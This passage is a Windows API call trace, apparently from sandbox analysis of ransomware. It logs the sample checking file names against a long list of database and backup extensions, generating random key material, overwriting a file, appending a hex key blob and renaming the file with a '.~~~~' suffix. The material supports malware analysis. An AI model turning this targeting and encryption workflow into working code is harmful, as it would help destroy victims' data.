	[0141.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".db3") returned 0x0
	[0141.251] lstrlenW (lpString=".OST") returned 4
	[0141.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".OST") returned 0x0
	[0141.251] lstrlenW (lpString=".dbx") returned 4
	[0141.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".dbx") returned 0x0
	[0141.251] lstrlenW (lpString=".DB3") returned 4
	[0141.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".DB3") returned 0x0
	[0141.251] lstrlenW (lpString=".DAT") returned 4
	[0141.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".DAT") returned 0x0
	[0141.251] lstrlenW (lpString=".VHDX") returned 5
	[0141.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.251] lstrlenW (lpString=".ndf") returned 4
	[0141.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".ndf") returned 0x0
	[0141.251] lstrlenW (lpString=".DB") returned 3
	[0141.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".DB") returned 0x0
	[0141.251] lstrlenW (lpString=".sql") returned 4
	[0141.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".sql") returned 0x0
	[0141.251] lstrlenW (lpString=".MYD") returned 4
	[0141.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".MYD") returned 0x0
	[0141.252] lstrlenW (lpString=".DBT") returned 4
	[0141.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".DBT") returned 0x0
	[0141.252] lstrlenW (lpString=".ACCDB") returned 6
	[0141.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.252] lstrlenW (lpString=".fdb") returned 4
	[0141.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".fdb") returned 0x0
	[0141.252] lstrlenW (lpString=".bak") returned 4
	[0141.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".bak") returned 0x0
	[0141.252] lstrlenW (lpString=".myd") returned 4
	[0141.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".myd") returned 0x0
	[0141.252] lstrlenW (lpString=".DTXS") returned 5
	[0141.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.252] lstrlenW (lpString=".ckp") returned 4
	[0141.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".ckp") returned 0x0
	[0141.252] lstrlenW (lpString=".dbt") returned 4
	[0141.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".dbt") returned 0x0
	[0141.252] lstrlenW (lpString=".db") returned 3
	[0141.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".db") returned 0x0
	[0141.252] lstrlenW (lpString=".TXT") returned 4
	[0141.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".TXT") returned 0x0
	[0141.252] lstrlenW (lpString=".MDF") returned 4
	[0141.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".MDF") returned 0x0
	[0141.252] lstrlenW (lpString=".bdb") returned 4
	[0141.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".bdb") returned 0x0
	[0141.252] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0141.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0141.253] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395498) returned 1
	[0141.254] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0141.254] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0141.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0141.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0141.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0141.254] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26124412847) returned 1
	[0141.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd9a1d90, dwHighDateTime=0x1d60e1e)) 
	[0141.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0141.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0141.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0141.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b24e0
	[0141.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b24e0 | out: hHeap=0x300000) returned 1
	[0141.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aea10
	[0141.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0141.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aea10 | out: hHeap=0x300000) returned 1
	[0141.255] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0141.255] GetLastError () returned 0x0
	[0141.255] GetLastError () returned 0x0
	[0141.255] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0141.255] GetLastError () returned 0x0
	[0141.255] GetLastError () returned 0x0
	[0141.255] ReadFile (in: hFile=0xc4, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0xdf73, lpOverlapped=0x0) returned 1
	[0141.258] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff208d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.258] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xdf73, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0xdf73, lpOverlapped=0x0) returned 1
	[0141.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.258] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.258] WriteFile (in: hFile=0xc4, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.258] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.258] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.259] CloseHandle (hObject=0xc4) returned 1
	[0141.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aea10
	[0141.259] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir42f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir42f.gif.~~~~")) returned 1
	[0141.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aea10 | out: hHeap=0x300000) returned 1
	[0141.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0141.261] GetLastError () returned 0x0
	[0141.261] RtlWakeConditionVariable () returned 0x0
	[0141.261] GetCurrentThreadId () returned 0x3a4
	[0141.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".scr") returned 0x0
	[0141.262] lstrlenW (lpString=".cmd") returned 4
	[0141.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".cmd") returned 0x0
	[0141.262] lstrlenW (lpString=".dll") returned 4
	[0141.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".dll") returned 0x0
	[0141.262] lstrlenW (lpString=".bat") returned 4
	[0141.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".bat") returned 0x0
	[0141.262] lstrlenW (lpString=".cpl") returned 4
	[0141.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".cpl") returned 0x0
	[0141.262] lstrlenW (lpString=".sys") returned 4
	[0141.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".sys") returned 0x0
	[0141.262] lstrlenW (lpString=".msc") returned 4
	[0141.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".msc") returned 0x0
	[0141.262] lstrlenW (lpString=".com") returned 4
	[0141.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".com") returned 0x0
	[0141.262] lstrlenW (lpString=".lnk") returned 4
	[0141.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".lnk") returned 0x0
	[0141.262] lstrlenW (lpString=".msp") returned 4
	[0141.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".msp") returned 0x0
	[0141.262] lstrlenW (lpString=".pif") returned 4
	[0141.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".pif") returned 0x0
	[0141.262] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0141.264] lstrlenW (lpString=".sqb") returned 4
	[0141.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".sqb") returned 0x0
	[0141.264] lstrlenW (lpString=".ost") returned 4
	[0141.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".ost") returned 0x0
	[0141.264] lstrlenW (lpString=".txt") returned 4
	[0141.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".txt") returned 0x0
	[0141.264] lstrlenW (lpString=".mdt") returned 4
	[0141.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".mdt") returned 0x0
	[0141.264] lstrlenW (lpString=".BDB") returned 4
	[0141.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".BDB") returned 0x0
	[0141.264] lstrlenW (lpString=".eql") returned 4
	[0141.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".eql") returned 0x0
	[0141.264] lstrlenW (lpString=".DBF") returned 4
	[0141.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".DBF") returned 0x0
	[0141.264] lstrlenW (lpString=".EQL") returned 4
	[0141.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".EQL") returned 0x0
	[0141.264] lstrlenW (lpString=".FDB") returned 4
	[0141.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".FDB") returned 0x0
	[0141.264] lstrlenW (lpString=".EDB") returned 4
	[0141.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".EDB") returned 0x0
	[0141.265] lstrlenW (lpString=".DACPAC") returned 7
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.265] lstrlenW (lpString=".VHD") returned 4
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".VHD") returned 0x0
	[0141.265] lstrlenW (lpString=".DBV") returned 4
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".DBV") returned 0x0
	[0141.265] lstrlenW (lpString=".dacpac") returned 7
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".dacpac") returned 0x0
	[0141.265] lstrlenW (lpString=".sdf") returned 4
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".sdf") returned 0x0
	[0141.265] lstrlenW (lpString=".accdb") returned 6
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".accdb") returned 0x0
	[0141.265] lstrlenW (lpString=".DBX") returned 4
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".DBX") returned 0x0
	[0141.265] lstrlenW (lpString=".MDT") returned 4
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".MDT") returned 0x0
	[0141.265] lstrlenW (lpString=".SQB") returned 4
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".SQB") returned 0x0
	[0141.265] lstrlenW (lpString=".vhd") returned 4
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".vhd") returned 0x0
	[0141.265] lstrlenW (lpString=".bac") returned 4
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".bac") returned 0x0
	[0141.265] lstrlenW (lpString=".mdf") returned 4
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".mdf") returned 0x0
	[0141.265] lstrlenW (lpString=".BAK") returned 4
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".BAK") returned 0x0
	[0141.265] lstrlenW (lpString=".BAC") returned 4
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".BAC") returned 0x0
	[0141.265] lstrlenW (lpString=".dbs") returned 4
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".dbs") returned 0x0
	[0141.265] lstrlenW (lpString=".vhdx") returned 5
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".vhdx") returned 0x0
	[0141.265] lstrlenW (lpString=".NDF") returned 4
	[0141.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".NDF") returned 0x0
	[0141.265] lstrlenW (lpString=".dat") returned 4
	[0141.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".dat") returned 0x0
	[0141.266] lstrlenW (lpString=".DBS") returned 4
	[0141.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".DBS") returned 0x0
	[0141.266] lstrlenW (lpString=".CKP") returned 4
	[0141.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".CKP") returned 0x0
	[0141.266] lstrlenW (lpString=".edb") returned 4
	[0141.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".edb") returned 0x0
	[0141.266] lstrlenW (lpString=".PST") returned 4
	[0141.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".PST") returned 0x0
	[0141.266] lstrlenW (lpString=".dbf") returned 4
	[0141.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".dbf") returned 0x0
	[0141.266] lstrlenW (lpString=".SQL") returned 4
	[0141.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".SQL") returned 0x0
	[0141.266] lstrlenW (lpString=".pst") returned 4
	[0141.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".pst") returned 0x0
	[0141.266] lstrlenW (lpString=".dbv") returned 4
	[0141.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".dbv") returned 0x0
	[0141.266] lstrlenW (lpString=".SDF") returned 4
	[0141.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".SDF") returned 0x0
	[0141.266] lstrlenW (lpString=".dtxs") returned 5
	[0141.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".dtxs") returned 0x0
	[0141.266] lstrlenW (lpString=".db3") returned 4
	[0141.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".db3") returned 0x0
	[0141.437] lstrlenW (lpString=".OST") returned 4
	[0141.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".OST") returned 0x0
	[0141.438] lstrlenW (lpString=".dbx") returned 4
	[0141.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".dbx") returned 0x0
	[0141.588] lstrlenW (lpString=".DB3") returned 4
	[0141.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".DB3") returned 0x0
	[0141.588] lstrlenW (lpString=".DAT") returned 4
	[0141.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".DAT") returned 0x0
	[0141.588] lstrlenW (lpString=".VHDX") returned 5
	[0141.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".VHDX") returned 0x0
	[0141.588] lstrlenW (lpString=".ndf") returned 4
	[0141.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".ndf") returned 0x0
	[0141.588] lstrlenW (lpString=".DB") returned 3
	[0141.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".DB") returned 0x0
	[0141.588] lstrlenW (lpString=".sql") returned 4
	[0141.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".sql") returned 0x0
	[0141.588] lstrlenW (lpString=".MYD") returned 4
	[0141.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".MYD") returned 0x0
	[0141.588] lstrlenW (lpString=".DBT") returned 4
	[0141.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".DBT") returned 0x0
	[0141.589] lstrlenW (lpString=".ACCDB") returned 6
	[0141.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.589] lstrlenW (lpString=".fdb") returned 4
	[0141.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".fdb") returned 0x0
	[0141.589] lstrlenW (lpString=".bak") returned 4
	[0141.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".bak") returned 0x0
	[0141.589] lstrlenW (lpString=".myd") returned 4
	[0141.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".myd") returned 0x0
	[0141.589] lstrlenW (lpString=".DTXS") returned 5
	[0141.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".DTXS") returned 0x0
	[0141.589] lstrlenW (lpString=".ckp") returned 4
	[0141.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".ckp") returned 0x0
	[0141.589] lstrlenW (lpString=".dbt") returned 4
	[0141.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".dbt") returned 0x0
	[0141.589] lstrlenW (lpString=".db") returned 3
	[0141.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".db") returned 0x0
	[0141.589] lstrlenW (lpString=".TXT") returned 4
	[0141.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".TXT") returned 0x0
	[0141.589] lstrlenW (lpString=".MDF") returned 4
